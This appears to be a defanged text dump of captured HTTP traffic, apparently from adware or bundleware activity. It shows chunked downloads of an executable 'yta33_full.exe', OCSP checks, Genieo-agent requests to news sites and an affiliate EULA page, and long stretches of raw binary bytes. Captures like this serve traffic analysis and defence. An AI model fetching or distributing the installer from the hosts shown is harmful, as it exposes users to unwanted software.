..A...4.q.N..M....z.V!^.....Q.... ].:.L..E....1....@S.&....u.=.Q.>H
.cV....d.....h.....*}.zN...X..%P.2.........u..lau.l;........u9.vC.....
.yyM...._.ljL.....z..........%.*V....2x.}t...E...._.E. ?C.6D.F..S3)...
H..k.|.......FtE....i.U.B|.2....*".,.'.........'5....W..;uU..S......G.
S.i.......<."9A^I..i<n..2]Wd6....d...1j.n.<hm...W.."p7../.HE&
gt;..a}&.c....>....."#/...........].[....3. B..........-...u......k
G.........2P .JOL....1.ea.dz.9.....FI..DM)....ALYr...?. .l..=S..%.".{H
......<.s....2u......Q=...s....>.|Wl\.....'.-2.S..L1.....A.o.S..
d9.>....L..9.#...... 8K.g......N.....].j....t.%j..6.~.&k..OAX.$.!.1
(....]....>)M..R...6.Y....^:.....5[\.ir.jE.9....U..G.}..S..AqF...j.
..`...`..0w..........6K..........(..>..=......f...........pk/.Q....
)...kX.t...x..&P;3.0yp&!..../..F......2.....g..3y....1.]9...!.0.`)..&l
t;.B;.O....l(.{.....A.....L..1.FRg...(....Qa..*9l".z...<...m..y....
7..K..jW..Xg\..K.....Z........,. .J....B.gA....C..k...].3K.."...AH...;
z.....7{... W.?.|.YXC3f...........o9.4.......CPI...........7DYC.hX{...
u..b..Z......o=v..@\...^]l"GUC..A .4.~.".G....Z.a.K.i...".....1...] )R
.....pt........v.J.z.I)...as..!...*.i}..... ..x...6....b~...:....v.X..
)....D%.\h..{bS........t%#..[mR.$8..........B.y .......b..N...Kn..S...
xb.$.s%%......i...{.......{........q....6.e......67.`.dys.W..\........
.s......6../.IHF.,nx...y.</i..."...0....M...2...b.....K....18...gy.
.<."==...I.....1fk.....OC;..d..^..A..r....".=.\[email protected].....}.'.~
..,.|.....T..../...`Lh.rNFBs...<....8....h.,...M ......#..7..3.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=8250000-8499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 8250000-8499999/8806904
...3.....;....S.........h79c4.....T..`..N.U'..tFnP...7.v.4.<..g?d..
"..T.....f..d.DE3...9..r..&.R%.K.<.]..<.d.2...E..z.1:h.#........
.6....~......cbO.t...$Y....b..>k.........v"?....g.'&c....B^l...O...
.*......k.0..l.z~"...........=.$.4=P8u.....Q...F H.T.p]..........O..r.
.h.8......>.z.zx.m.t..u.)$8F.d....f.........`.X>.....9.....e..2B
W.K.!@cr.!.TU]....i.b}}../..Sw.................P....:.y.K..1..*&.....?
.}.Ll8.y.............~.*.....;.q.1..Dg.zR..b.>|.......w..f.*..3.QO.
7....uP.~ .{.!..xH^..us...`~.....n.O..l..c.:[email protected].\<*.........G.
C.,_......W.'[email protected]}J...z!...*.h...hV'}..S.Q......e.ij....{..
[email protected].`.^.J..E.$.,...u~.....t{......
6..S-m\(>]C.[we.........n.......j....'.65...h......l."[email protected]..... .
6.K.._.. .;R,)..A)&..I..p.$.x.3h...iO...*..SSK..O|c...8.......T.Y.~F.D
....g...sd.7|;..2....,.R.4K.^z...y..*.u..2..l]*.sb.}-.wI.Zn...P.Vs.|-.
cy.....D.a.LFh...1...}ka...9p..^...v...%.......\.y....n.[.Z..,i..\....
...!..nL.N=F...f 3#T..S".....]....K.Vr...*....@``.F....-.bX..x...C./..
E..t....C.a.&.......MCIO~}..H.}P..'..f..C%..W....d..LP.r.........B..4-
t{..........?...z....Sg...6..(..[..9-.}B.0d..,...Q..B.%[email protected]_.
@O..4.n............ .*..p..CBj..i.m..(M........N.."....D.3...{-.c...H.
@....'W..Y.C.NS.....1.u)."6w....D...1=....(1/.5:..y.&M.....E...7.^q.R.
.q..j5..........A.e...... ....q.o...p!...i.,D..=&8.v.Xf..."....I....F.
..n....c..2i.G..v.0.G.<x`...=.`.R.w.m0)..\}E}..p.2l.t.td....n.M2.Z.
.uC.}(.eE/D....n..U.p.(....0..$....{D.......bn......PE.#.P........<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=8500000-8749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:28 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 8500000-8749999/8806904
...=.<,.? P..,..6:..9%..y...v....\..rC?.u[g.D.....s..0../..t..O....
.Bu..)....|..R.....S...x.o..G.........~..J.Svc.)X...H........H'7#]6.5C
1.8.'0.....FC......I...Xz.....M.......P.3)...>....a.....t.Y..0E..T.
k6(Xc.)....&.._#.....S..]........"..a.g.R^)8..w.J...R....L.m6(Z.O..h."
-.alV.....=.\.Hs.I...j |%.-.4T......K...f.h..........A."J.y9fu.y..O...
.[.hs.,.^...p.{q.'....[A>E....eH.......tSVM{.4....z.....T ......h..
..$W....4.|......'.R3.5C~.....u.|2..'K.M7*'hj|?"^hP.G."E.,}....y..k..r
...>.....9;.? ..-..............jjX....g.x. .yzI...[..5..8...{....r.
....V...*../.z..v...>....OE|G0.......4..r...3... ........i..F6.....
...........r..,S|...'p...f......Bk.....nA......[P.*~V....(.W.;.....uRH
......#:.....g.X&&.!..[...`.~..k.)O....1.;... j.o5/.P=.5..h....>;..
......q.U.)J.R..R.l&<.{.H....`;..z T...cd.Qj.\-.%.....QUT!b......?1
..:...;....p=d.d*...qA...&......s*u......2....mwm.....:.......QQT.O...
)$M]..=...|.....w8..T.C.8.~...}P..(....=2.z.....0.I..M.M..`.....RH....
.<..A*.1.7.5.|5.-l....d..A..G?5.....S... ..C.%a...lo.....S.q..;..W.
PbYc..R...]...0...m.B...V.Ja..7......K{'.....[..J..........N..hk...Y..
..%O$$.'...].J.H.oF.........g...._..c....@.\.#.m.......N.^K8Y.t.5`.B6\
...._~.LB-w.......b..?s..1.].....e.am..~_....hw$~J'IB..w..VA..u ....%J
......&.b.b....C*#P*.KV....e.ACuh.W....I..).B.....v...Ex6...i........=
.r..9.b..... .....52...R...._.`...j...y.{[email protected]
.wt=.9.i..$0..H../.L.a..........g.".......-..m..$..I...{...4....l.. ..
.8.....V...R...t.o........Hm.[[email protected]......},[\......z]....\.=<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=586667, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 18:00:38 GMT

Expires: Fri, 22 May 2015 18:00:38 GMT

Date: Fri, 15 May 2015 23:06:16 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015051
5180038Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150515180038Z....20150522180038Z0...*.H........
.............K..(...v..g..$...JG^]....e.TT{..o.A.;.vA....\!.0>...(.
..\.?M...r\..:...#2.M'..b.f...A/...<..W9...M.o{..=.C-~E(..........}
...9.........NH...].......r..............T.p.=.}..._......S......^vih.
Fc...'...E. .u. ..|.D.[./....../uJ&...\....EzB.}..S..Z.M`....0...0...0
..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....Ver
iSign, Inc.1705..U....Class 3 Public Primary Certification Authority0.
..141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corp
oration1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PC
A - G1 OCSP Responder Certificate 30.."0...*.H.............0..........
'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-;
 ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS
.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]E...=.
_...... ........TE...Sa.s4........r...3.............0..0...U....0.0l..
U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .
......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........
0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H...........
..$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..
D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,t>....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=375181, public, no-transform, must-revalidate

Last-Modified: Wed, 13 May 2015 07:15:14 GMT

Expires: Wed, 20 May 2015 07:15:14 GMT

Date: Fri, 15 May 2015 23:06:16 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015051
3071514Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150513071514Z....20150520071514Z0...*.H........
........:.o..%.'...}.K..V......A...:.&....r0.....7s<T&..>..co!..
..(.kt.,.Vu...h#.(U. 7...........&.......x.z.hC...M>..........n....
..{.u....d........V....3.%.`(.;*W7...(H....D......._.0?`.........F.5..
.../?..K.....z.}Y.....9s...<p....{".O0...w.........dQ.u....;...#0..
.0...0..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of
 use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 
Code Signing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US
1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2T
erms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSig
n Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.
............m5*R........2....>...yU4..L.. ...........u..Hez..Pn....
.d...nz(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i
..F*]...*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....
&."...:.C.Q.i~rl..<..krS..8.B..o][email protected].
..0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://ww
w.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CP
S incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0
...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-32010<<< skipped >>>

HEAD /pages/index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:15 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://VVV.nytimes.com/index.html?partner=rss&emc=rss

Connection: close

Content-Type: text/html; charset=iso-8859-1

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:55 GMT

Server: Apache

Set-Cookie: BBC-UID=f5155506779b291778c1cd33912229dc53deb167ae78e31993b54a9dcd5b00680Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html); expires=Sat, 14-May-16 23:04:55 GMT; path=/; domain=bbc.co.uk;

Set-Cookie: BBC-UID=f5155506779b291778c1cd33912229dc53deb167ae78e31993b54a9dcd5b00680Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html); expires=Sat, 14-May-16 23:04:55 GMT; path=/; domain=bbc.co.uk;

Last-Modified: Fri, 06 Sep 2013 09:46:13 GMT

Content-Length: 718

Vary: X-CDN

Keep-Alive: timeout=5, max=768

Connection: Keep-Alive

Content-Type: text/plain

User-agent: *.Disallow: /cgi-bin.Disallow: /cgi-perl.Disallow: /lexaur
us.Disallow: /mpapps.Disallow: /mpsearch.Disallow: /mtk.Disallow: /wea
therbeta.Disallow: /weather/hi/about/newsid_7760000/7760846.stm.Disall
ow: /1/hi/help/8594343.stm .Disallow: /2/hi/help/8594343.stm.Disallow:
 /1/hi/help/8594488.stm.Disallow: /2/hi/help/8594488.stm.Disallow: /1/
hi/uk/1494064.stm.Disallow: /1/hi/health/363959.stm.Disallow: /1/hi/he
alth/4749331.stm.Disallow: /1/hi/england/1678616.stm.Disallow: /1/hi/e
ducation/3826037.stm.Disallow: /1/shared/spl/hi/pop_ups/05/uk_should_t
he_uk_vote_on_the_eu_constitution0/html/8.stm.Sitemap: hXXp://news.bbc
.co.uk/weather/sitemap.xml .Sitemap: hXXp://news.bbc.co.uk/weather/sit
emap_mobile.xml ......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=f5155506779b291778c1cd33912229dc53deb167ae78e31993b54a9dcd5b00680Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:55 GMT

Server: Apache

Location: hXXp://VVV.bbc.co.uk/news/

Cache-Control: max-age=0

Expires: Fri, 15 May 2015 23:04:55 GMT

Content-Length: 234

Keep-Alive: timeout=5, max=492

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.bbc.co.uk/news/">here</
a>.</p>.</body></html>.HTTP/1.1 301 Moved Permane
ntly..Date: Fri, 15 May 2015 23:04:55 GMT..Server: Apache..Location: h
ttp://VVV.bbc.co.uk/news/..Cache-Control: max-age=0..Expires: Fri, 15 
May 2015 23:04:55 GMT..Content-Length: 234..Keep-Alive: timeout=5, max
=492..Connection: Keep-Alive..Content-Type: text/html; charset=iso-885
9-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html
><head>.<title>301 Moved Permanently</title>.<
/head><body>.<h1>Moved Permanently</h1>.<p>
The document has moved <a href="hXXp://VVV.bbc.co.uk/news/">here
</a>.</p>.</body></html>.....


HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

Cache-Control: max-age=0

Content-Type: text/html; charset=iso-8859-1

Date: Fri, 15 May 2015 23:04:57 GMT

Location: hXXp://VVV.bbc.co.uk/news/

Keep-Alive: timeout=5, max=543

Expires: Fri, 15 May 2015 23:04:57 GMT

Transfer-Encoding: chunked

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently..Server: Apache..Cache-Control: max-age
=0..Content-Type: text/html; charset=iso-8859-1..Date: Fri, 15 May 201
5 23:04:57 GMT..Location: hXXp://VVV.bbc.co.uk/news/..Keep-Alive: time
out=5, max=543..Expires: Fri, 15 May 2015 23:04:57 GMT..Transfer-Encod
ing: chunked..Connection: Keep-Alive......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.bbc.co.uk

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: BBC-UID=d5d5d5b6b7bbd9a7f907659771fdc069f75b0d6d0e78233933155a4d0fa9d1a80Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:58 GMT

Server: Apache

Location: hXXp://VVV.bbc.co.uk/news/

Cache-Control: max-age=0

Expires: Fri, 15 May 2015 23:04:58 GMT

Content-Length: 234

Keep-Alive: timeout=5, max=758

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.bbc.co.uk/news/">here</
a>.</p>.</body></html>.HTTP/1.1 301 Moved Permane
ntly..Date: Fri, 15 May 2015 23:04:58 GMT..Server: Apache..Location: h
ttp://VVV.bbc.co.uk/news/..Cache-Control: max-age=0..Expires: Fri, 15 
May 2015 23:04:58 GMT..Content-Length: 234..Keep-Alive: timeout=5, max
=758..Connection: Keep-Alive..Content-Type: text/html; charset=iso-885
9-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html
><head>.<title>301 Moved Permanently</title>.<
/head><body>.<h1>Moved Permanently</h1>.<p>
The document has moved <a href="hXXp://VVV.bbc.co.uk/news/">here
</a>.</p>.</body></html>...

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:31:24 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Fri, 15 May 2015 22:41:24 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 4e68f18050c78cc02aaa43f956527fa4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hF8njEnFd1Ig3vDVbcgM_WWdBJ-sy11fNrZo5IdtCZTnTxPgXfzOOQ==
896.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........@
.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:.
............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R..
F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q.
~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....O
.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....dv
_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V.
h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y..
J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p....
..o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_..
.....G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.y
k.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K......
Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v....
..........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj.
.L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..-
.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.Z
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B..
.W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j....
rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%.........
.w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.{
6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5..
..7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7.<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 4e68f18050c78cc02aaa43f956527fa4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: I-7oPOo2c4XXJoeG3V9SEuDzLfQhHusF2P09sHIeo2Nk-6du1xTWhQ==
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d1jawciiqjso8h.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 4e68f18050c78cc02aaa43f956527fa4.cloudfront.net (CloudFront)

X-Amz-Cf-Id: W4nxVfcKS6X_y6JUjWccTXEEofcd5fIEdRpjcpjJl9fzOCmOK4tUBQ==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>..HTTP/1.1 403 Forbidden..Cont
ent-Type: text/html..Content-Length: 162..Connection: keep-alive..Serv
er: nginx..Date: Fri, 15 May 2015 23:04:52 GMT..X-Cache: Error from cl
oudfront..Via: 1.1 4e68f18050c78cc02aaa43f956527fa4.cloudfront.net (Cl
oudFront)..X-Amz-Cf-Id: W4nxVfcKS6X_y6JUjWccTXEEofcd5fIEdRpjcpjJl9fzOC
mOK4tUBQ==..<html>..<head><title>403 Forbidden</t
itle></head>..<body bgcolor="white">..<center><
;h1>403 Forbidden</h1></center>..<hr><center&g
t;nginx</center>..</body>..</html>....

HEAD /pages/international/index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:59 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://international.nytimes.com?partner=rss&emc=rss

Connection: close

Content-Type: text/html; charset=iso-8859-1

GET /cnnnext/dam/assets/150407140705-01-tsarnaev-homepage-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 21723

Cache-Control: max-age=4380

Expires: Sat, 16 May 2015 00:18:00 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.?..........................!1AQ.."a..2q.B.#3R....$.....CbrSs.........
........................*......................!.1.A".2Qa.3q.#BR......
.......?..&c..u...m~.9..V........D7...r....t.6........{t.t.l@......~..
....5.f..P.~..Ud~{.d....O..5DX%L.,..^......M`1;. [email protected].^..
.z......&..R36n...^j".@.,q..u.fZ.X...%.s........l8c.Z.K..;...z..*.X..x
g... 4....rvz..cC'..........p;..h:W....{.<.5u_.Za.L.}M.A".1y.s..k..
z.[.-..V.c_......{......1I8..7......L..cKc..\..R.*idkZ...9\.m.........
..Z7...Z........M...3.T...0..\.O......GR...U.c.....:`4...pK.IPl#k\9.at
..i..s.]...LO{..7.k..z.....f.** .|....jS.....y.g.v........jZ..?.v.G.S.
......LT..!.R...!3...q|O>........}.2:9.C#....~.u`."..(..tL...9K....
.[.q....9..Y..-..M6?i........9.......e...cX.....d;...}..i1..u..A>.I
.....<!...e..1Q3.cz.}.iN1[4.'..\2..v.8..'.x2...S.J.:..........=....
.."..}N#L...9.X[..06R:...........m..9....1...../fI.5..9.....}..8Q6.2\.
e.\.........s\.<....k..f.M0x,-..... .l..... ......;..{...0...y...S.
.....d..0WW...p..F..i..)O....Ol..5.".3.R\........93...t.....\..%m.}.. 
..KZ.2..T.5<.m#.VN.0.7A.. .....j..i.....`..}.r^..G.....]..#.....'..
.QbM1T=..D.y...).|[email protected]%.c\X.s3v9.......v .9m..t....b..V..=.u.
..:)ZZ....-.....^....sF../k......v.T.....k...iv.`T.*......%..c.&...l..
^.(.8Q..G$....[q......f....S.3#....P_.Yvz.cW.Hq.s-......?6$.A.}==f<<< skipped >>>

GET /cnnnext/dam/assets/150515121147-medal-honor-tease-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 31541

Cache-Control: max-age=2576

Expires: Fri, 15 May 2015 23:47:57 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.F..........................!1A.."Qa.q.#2..BR.b....$34....%rt.C..DSc..
................................,.....................!1q....3A..Qa"#.
.2...............?.I.{.....\oK....p.$/......g...].A. Q'.&.......,b...S
...d.T..l......}*.....6..cj..R/..........V.`.........zo..(. H=D... ..-
.`......W...<.`.Jms.pt..1.:..1.....8.o...h..]>......F7......(..#
/.V..`...?....[.......G R.v.B.....a..].j..n._....;.....c...C..........
b..m.....o.|qbZ.......pjQl......:.....Okj.Uy!.j.b[..8.......X...4.Y..4
.B..s...W...3..j.-..#.T.......p...i..uF.j.V8......a......?..55m.M..U.H
j...X..2.l......<..*....0.b#.1.......z....`......t..9}L....i"...R..
..E....}...MC_R..)(...Q..../....&...B./..5&a..:...../..R....F.xg.2....
.sn..|u$.S_.W..q..U.g.6../.ifZ.. .D....Y..^E^ik.x'?.Y...............8.
...0..M..,0..RD.O......s.e.G,.I#.#r.a...p..T.~\.....'..L......w.oa.h".
!1I.........P.."*.........%`...)P......K). d..[..!4.'......S..G.:..Z..
s....iKS....o5.qn.~.V.....<.v.....yqy.C7..I......f.D.#Z.V.).|.q..;2
......P}.._...y.f.fQ....~-. ....s,..xb..........hQb...f>....x......
E.=..e..D[s..x....Q\ e.(R.....o....*...............[..........WQf#.|b'
....w...l.aT.=O......).;.../.....]...^.L%..........|[email protected]
.}.6.........V.1..~}...B..X..M.........7...| ...q...........B.Q....h..
&.}..`...........n,I..l.<.Qa.....A.9.....v$. .N....-d?Q.?..2...<<< skipped >>>

GET /cnnnext/dam/assets/150219110954-restricted-01-kim-jong-un-0219-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 28792

Cache-Control: max-age=1985

Expires: Fri, 15 May 2015 23:38:07 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.Q.........................!..1..AQa."q..#23B.Rbr......$..CScs.45.....
.m...T....................................;.........................
!1.AQ."2a..Bq....3R..#b..4.CSr..............?...).1]^._b...=..P\...`..
.............M....1..W54d.......%[email protected]$]0.v..>
;Ub.....<......E^.:N=.:...Q..$V...a0F.N....x.he.........s...{,;/B]4
.y..y|....n.......z.P..-*e*.x...d....9&3xg.. t.x^7.q..G%..y...K....A..
..6.&..M_......x..T..5...4....p.........9;Si....xWVN..G...~.Ic.?..n...
